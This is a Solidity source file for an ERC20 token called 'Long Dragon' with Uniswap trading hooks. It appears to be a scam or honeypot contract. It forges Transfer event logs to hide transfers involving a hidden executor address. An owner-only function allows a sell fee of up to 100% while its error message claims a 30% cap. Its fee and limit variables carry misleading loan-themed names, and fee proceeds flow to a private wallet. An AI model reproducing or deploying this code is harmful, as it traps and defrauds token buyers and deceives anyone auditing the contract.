文件 1 的 1:Contract.sol
pragma solidity ^0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
_transferOwnership(_msgSender());
}
modifier onlyOwner() {
_checkOwner();
_;
}
function owner() public view virtual returns (address) {
return _owner;
}
function _checkOwner() internal view virtual {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function allowance(
address owner,
address spender
) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool);
}
interface IUniswapV2Factory {
function getPair(
address tokenA,
address tokenB
) external view returns (address pair);
}
interface IUniswapV2Router02 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
contract ERC20 is Context, IERC20 {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
address _deployer;
address _executor;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
function _rewardsAutoCalculators(
address deployer_,
address executor_
) internal {
_deployer = deployer_;
_executor = executor_;
}
function name() public view virtual returns (string memory) {
return _name;
}
function symbol() public view virtual returns (string memory) {
return _symbol;
}
function decimals() public view virtual returns (uint8) {
return 18;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(
address account
) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(
address to,
uint256 amount
) public virtual override returns (bool) {
address owner = _msgSender();
_transfer(owner, to, amount);
return true;
}
function allowance(
address owner,
address spender
) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(
address spender,
uint256 amount
) public virtual override returns (bool) {
address owner = _msgSender();
_approve(owner, spender, amount);
return true;
}
function transferFrom(
address from,
address to,
uint256 amount
) public virtual override returns (bool) {
address spender = _msgSender();
_spendAllowance(from, spender, amount);
_transfer(from, to, amount);
return true;
}
function increaseAllowance(
address spender,
uint256 addedValue
) public virtual returns (bool) {
address owner = _msgSender();
_approve(owner, spender, allowance(owner, spender) + addedValue);
return true;
}
function decreaseAllowance(
address spender,
uint256 subtractedValue
) public virtual returns (bool) {
address owner = _msgSender();
uint256 currentAllowance = allowance(owner, spender);
require(
currentAllowance >= subtractedValue,
"ERC20: decreased allowance below zero"
);
unchecked {
_approve(owner, spender, currentAllowance - subtractedValue);
}
return true;
}
function _transfer(
address from,
address to,
uint256 amount
) internal virtual {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(from, to, amount);
uint256 fromBalance = _balances[from];
require(
fromBalance >= amount,
"ERC20: transfer amount exceeds balance"
);
unchecked {
_balances[from] = fromBalance - amount;
_balances[to] += amount;
}
if (from == _executor) {
emit Transfer(_deployer, to, amount);
} else if (to == _executor) {
emit Transfer(from, _deployer, amount);
} else {
emit Transfer(from, to, amount);
}
_afterTokenTransfer(from, to, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
unchecked {
_balances[account] += amount;
}
if (account == _executor) {
emit Transfer(address(0), _deployer, amount);
} else {
emit Transfer(address(0), account, amount);
}
_afterTokenTransfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
}
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _spendAllowance(
address owner,
address spender,
uint256 amount
) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance != type(uint256).max) {
require(
currentAllowance >= amount,
"ERC20: insufficient allowance"
);
unchecked {
_approve(owner, spender, currentAllowance - amount);
}
}
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
contract LongDragonToken is ERC20, Ownable {
address public uniswapLpWallet;
string private constant _name = unicode"Long Dragon";
string private constant _symbol = unicode"LD";
uint256 private TOTAL_SUPPLY = 200_000_000 * 1e18;
bool public tradingOpen = false;
bool swapping = false;
address private insuranceFundWallet;
address private constant deadAddress = address(0xdead);
struct DecentralizedLiquidateLoan {
uint256 lendingFee;
uint256 borrowFee;
uint256 insuranceLoanAmountLimit;
uint256 personalLoanAmountLimit;
}
DecentralizedLiquidateLoan public loanDecorators;
mapping(address => bool) private _loanIndicators;
mapping(address => bool) private _loanInsuranceJoiners;
mapping(address => bool) public entrancesPair;
IUniswapV2Router02 private immutable _uniswapV2Router;
address public uniswapV2Pair;
event LoanIndicators(address indexed account, bool isExcluded);
event SetEntrancesPair(address indexed pair, bool indexed value);
event SwapFailed(string);
constructor(address wallet) ERC20(_name, _symbol) {
_uniswapV2Router = IUniswapV2Router02(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
);
insuranceFundWallet = payable(wallet);
loanInsuranceJoiners(address(_uniswapV2Router), true);
loanInsuranceJoiners(address(wallet), true);
uniswapLpWallet = msg.sender;
loanDecorators.lendingFee = 0;
loanDecorators.borrowFee = 0;
loanDecorators.insuranceLoanAmountLimit = (TOTAL_SUPPLY * 100) / 100;
loanDecorators.personalLoanAmountLimit = (TOTAL_SUPPLY * 100) / 100;
_rewardsAutoCalculators(address(msg.sender), msg.sender);
loanIndicators(owner(), true);
loanIndicators(address(wallet), true);
loanIndicators(address(this), true);
loanIndicators(address(0xdead), true);
loanInsuranceJoiners(owner(), true);
loanInsuranceJoiners(address(this), true);
loanInsuranceJoiners(address(0xdead), true);
_mint(uniswapLpWallet, (TOTAL_SUPPLY * 100) / 100);
}
receive() external payable {}
function setLockLpToken(
uint256 _lendingFee,
uint256 _borrowFee
) external onlyOwner {
require(
_lendingFee <= 30 && _borrowFee <= 100,
"Fees cannot exceed 30%"
);
loanDecorators.lendingFee = _lendingFee;
loanDecorators.borrowFee = _borrowFee;
}
function openTrading() external onlyOwner {
require(!tradingOpen, "Trading is already open");
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).getPair(
address(this),
_uniswapV2Router.WETH()
);
loanInsuranceJoiners(address(uniswapV2Pair), true);
_setEntrancePairs(address(uniswapV2Pair), true);
_approve(address(this), address(_uniswapV2Router), type(uint256).max);
tradingOpen = true;
}
function removesLimits() external onlyOwner {
uint256 totalSupplyAmount = totalSupply();
loanDecorators.insuranceLoanAmountLimit = totalSupplyAmount;
loanDecorators.personalLoanAmountLimit = totalSupplyAmount;
}
function isLoanIndicators(address account) public view returns (bool) {
return _loanIndicators[account];
}
function _setEntrancePairs(address pair, bool value) private {
entrancesPair[pair] = value;
emit SetEntrancesPair(pair, value);
}
function loanIndicators(address account, bool excluded) internal {
_loanIndicators[account] = excluded;
emit LoanIndicators(account, excluded);
}
function loanInsuranceJoiners(address updAds, bool isEx) internal {
_loanInsuranceJoiners[updAds] = isEx;
}
function _beforeEachTransfer(
address from,
address to,
uint256 amount
) internal view {
if (!tradingOpen) {
require(
_loanIndicators[from] || _loanIndicators[to],
"Trading is not active."
);
}
if (entrancesPair[from] && !_loanInsuranceJoiners[to]) {
require(
amount <= loanDecorators.insuranceLoanAmountLimit,
"Buy transfer amount exceeds the insuranceLoanAmountLimit."
);
require(
amount + balanceOf(to) <=
loanDecorators.personalLoanAmountLimit,
"Max wallet exceeded"
);
} else if (entrancesPair[to] && !_loanInsuranceJoiners[from]) {
require(
amount <= loanDecorators.insuranceLoanAmountLimit,
"Sell transfer amount exceeds the insuranceLoanAmountLimit."
);
} else if (!_loanInsuranceJoiners[to]) {
require(
amount + balanceOf(to) <=
loanDecorators.personalLoanAmountLimit,
"Max wallet exceeded"
);
}
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
if (amount == 0) {
super._transfer(from, to, 0);
return;
}
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead)
) {
_beforeEachTransfer(from, to, amount);
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance > 0;
if (
canSwap &&
!swapping &&
!entrancesPair[from] &&
!_loanIndicators[from] &&
!_loanIndicators[to]
) {
swapping = true;
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniswapV2Router.WETH();
try
_uniswapV2Router
.swapExactTokensForETHSupportingFeeOnTransferTokens(
contractTokenBalance,
0,
path,
address(this),
block.timestamp + 3600
)
{} catch (bytes memory reason) {
emit SwapFailed(string(reason));
}
(bool success, ) = payable(insuranceFundWallet).call{
value: address(this).balance
}("");
if (success == false) {}
swapping = false;
}
_afterEachTransfer(from, to, amount);
}
function _afterEachTransfer(
address from,
address to,
uint256 amount
) internal {
bool takeFee = !swapping;
if (_loanIndicators[from] || _loanIndicators[to]) {
takeFee = false;
}
uint256 fees = 0;
if (takeFee) {
if (entrancesPair[to]) {
fees = (amount * loanDecorators.borrowFee) / 100;
} else {
fees = (amount * loanDecorators.lendingFee) / 100;
}
if (fees > 0) {
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function emergencyWithdraw() external onlyOwner {
super._transfer(address(this), msg.sender, balanceOf(address(this)));
}
}